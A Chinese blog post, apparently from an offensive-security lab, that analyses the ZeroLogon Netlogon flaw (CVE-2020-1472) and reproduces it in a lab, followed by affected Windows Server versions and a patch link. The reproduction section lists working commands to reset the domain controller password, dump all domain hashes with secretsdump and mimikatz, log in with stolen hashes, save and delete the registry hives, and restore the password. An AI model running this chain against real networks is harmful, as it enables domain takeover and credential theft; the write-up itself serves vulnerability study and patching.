0x01漏洞背景

NetLogon远程协议是一种在Windows 域控上使用的RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用NTLM协议登录服务器,也用于NTP响应认证以及更新计算机域密码。

微软MSRC于8月11日发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472,CVSS评分:10.0。由Secura公司的Tom Tervoort发现提交并命名为ZeroLogon。

0x02漏洞分析

Netlogon协议使用的是自定义的加密协议来让客户端(加入域的计算机)和服务器(域控制器)向对方证明加密,此共享加密是客户端计算机的HASH账户密码。Netlogon会话由客户端启动,因此客户端和服务器先交换随机的8个字节,客户端和服务器都先将密钥派生函数加密,然后客户端使用此会话密钥用于计算客户端凭据,服务器则重新计算相同的凭证,如果匹配,客户端必须知道计算机密码,因此客户端必须知道会话密钥。

在身份验证握手阶段时,双方可以协商是否加密和加密认证,如果加密被禁用,所有执行重要操作必须仍然包含认证值,也是用会话密钥计算的,该协议的通信流程如下:

攻击过程分析:

由于微软在Netlogon协议中进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client chanllenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零。

为了能够加密会话,必须指定初始化向量(IV)引导加密过程,这个IV值必须是唯一的,并为每个单独的随机生成用同一密钥加密的密文。

但是ComputeLogOnCreddential函数定义的IV是固定的,应该由16零字节组成,而AES-CFB8要求IV是随机的,对256个密钥中的1个将AES-CFB8加密应用全零字节明文将导致都是零密文。

Netlogon协议身份认证采用了挑战-响应机制,其中加密算法是AES-CFB8,并且IV默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞可以被利用。

0x03利用过程

漏洞测试环境:

攻击机:10.10.10.6

域控:10.10.10.1

1.1 首先使用POC检测漏洞是否存在,如果存在会重置域控存储在域中(ntds.dit)的凭证,也就是将域控机器密码替换为空

还可以通过mimikatz直接进行漏洞检测

mimikatz “lsadump::zerologon /target:域控ip /account:域控主机名”

1.2 使用impacket工具包 secretsdump工具dump导出域内所有用户

hash python secretsdump.py hack.cn/DC$@10.10.10.1 -no-pass

1.3 利用导出的ntlm hash使用impacket工具包wmiexec.py工具使用NTLMhash登录域控

1.4 导出原sam.save、system.save、security.save文件本地导出hash用于恢复域控密码

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save

下载完成后进行删除操作

del system.save
del sam.save
del security.save

1.5 使用mimikatz对导出下载的sam.save、system.save、security.save文件进行解密,用于后续密码恢复

python secretsdump.py-sam sam.save-system system.save-security security.save LOCAL

1.6 通过导出的原NTLMhash恢复域控密码

python reinstall_original_pw.py DC 10.10.10.1 e9d755619bd2c460cd769560584c6d0b

1.7 再次使用空密码尝试远程导出域控的ntlmhash,检测密码是否恢复成功,此时已经不能获取到hash了

0x04漏洞修复

漏洞影响范围:

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server
Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

由于此漏洞影响范围较广,建议点击以下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装。

https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472

0x05总结

CVE-2020-1472(Zerologon)是一个比较好用的域内提权漏洞,影响Windows sever的多个版本,只要攻击者能访问到目标并且知道目标计算机名即可,在内网中是一个非常严重的漏洞,攻击者在利用漏洞时还会存在使域控脱域的风险。未打补丁机器的需要尽快修补。

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

CVE-2020-1472 Netlogon特权提升漏洞分析及复现相关推荐

  1. Netlogon特权提升漏洞

    0x01 漏洞概要 2020年8月11日,Microsoft公司发布安全公告,公布了Netlogon 特权提升漏洞(CVE-2020-1472)的相关信息.12日起,各大安全研究团队纷纷对该漏洞作出漏 ...

  2. CVE-2020-1472: NetLogon特权提升漏洞通告

    1. CVE-2020-1472简要分析 阅读量    102057 | 分享到:       https://www.anquanke.com/post/id/217475 发布时间:2020-09 ...

  3. NetLogon特权提升漏洞(CVE-2020-1472)复现及问题解决

    NetLogon特权提升漏洞(CVE-2020-1472)复现 漏洞描述 2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020 ...

  4. 微软NetLogon特权提升漏洞复现(CVE-2020-1472)

    2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告.攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限.成功 ...

  5. CVE-2020-1472 | Netlogon 特权提升漏洞预警

    CVE-2020-1472 | Netlogon 特权提升漏洞预警 CVE-2020-1472 | Netlogon 特权提升漏洞预警 https://www.cnblogs.com/micr067/ ...

  6. CVE-2020-1472 Netlogon权限提升漏洞分析

    一.漏洞信息 1. 漏洞简述 漏洞名称:Netlogon 权限提升漏洞 漏洞编号:CVE-2020-1472 漏洞类型:权限提升 CVSS评分:10 利用难度:简单 基础用户:不需要 2. 组件概述 ...

  7. Netlogon 特权提升漏洞复现(CVE-2020-1472)

    NetLogon 介绍 NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务.最常用于让用户使用 NTLM 协议登录服务器,也用于 NT ...

  8. Netlogon 特权提升漏洞(CVE-2020-1472)原理分析与验证

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞.它是因为微软在Netlogon协议中没有正确使用加密算法而导致的漏洞.由于 ...

  9. Windows NetLogon权限提升漏洞(CVE-2020-1472)

    漏洞描述 微软官方于8月12日发布安全更新,其中修复了一个修复了NetLogon权限提升漏洞(CVE-2020-1472),攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道 ...

最新文章

  1. oc 协议 回调 静态成员_OC底层原理探究:Category、关联对象和block本质
  2. SVM训练时候样本不均衡怎么设置惩罚项
  3. (7)关于margin的一些想法2.0
  4. android 注解点击事件,android click事件注解
  5. ESI大学最新排名出炉:中国内地342所大学上榜!中国科学院大学排榜首!(附内地榜单)...
  6. javascript历史、作用、三大组成、javascript代码书写位置、注意事项、变量
  7. 【100题】第十二题(特殊的递加)
  8. python——redis
  9. 【云周刊】第141期:阿里正式发布《Java开发手册》终极版!绝对珍藏!
  10. 关于Android项目隐藏标题栏的方法总结
  11. python游戏dnf_招募:基于python的召唤师全时段全技能(含均值AI)计算器全程测试...
  12. Netperf 的安装和使用
  13. android清理软件评测,四大垃圾清理软件横向评测
  14. PPT双屏,设置主屏
  15. Linux meld安装
  16. ssm基于微信小程序的游泳馆管理系统 uinapp
  17. 朱洪教育c语言课程,诚恳呼吁多给学科教育类研究生攻读教育学博士的机会
  18. 浙江中级聘用计算机还需要吗,浙江省中级高级职称计算机考试要考几个模块?...
  19. BoundingBox 图片分割
  20. 免费PPT模板分享:文艺复古中国风+美观自然春季风,职场必备

热门文章

  1. RuoYi-Vue项目登录过期的实现
  2. PS 2019 Mac版 自学入门系列(四)——调配颜色
  3. yaml存储到文件服务器,通过编写k8s的资源清单yaml文件部署gitlab服务
  4. 官场直升机 鸿蒙笔著,担当和尚:老衲笔尖无墨水,要从空处想鸿蒙
  5. Unity3D教程:如何利用Shader实现钻石渲染效果
  6. npm ERR! code ELIFECYCLEnpm ERR! errno 1npm ERR! wlwl-dsfvue@1.0.0 dev: `node build/dev-server.js`报错
  7. VBA 32位代码适配64位
  8. 打开Windows任务管理器的七种方法
  9. 银行资产业务和负债业务
  10. 【Word画线条5大技巧】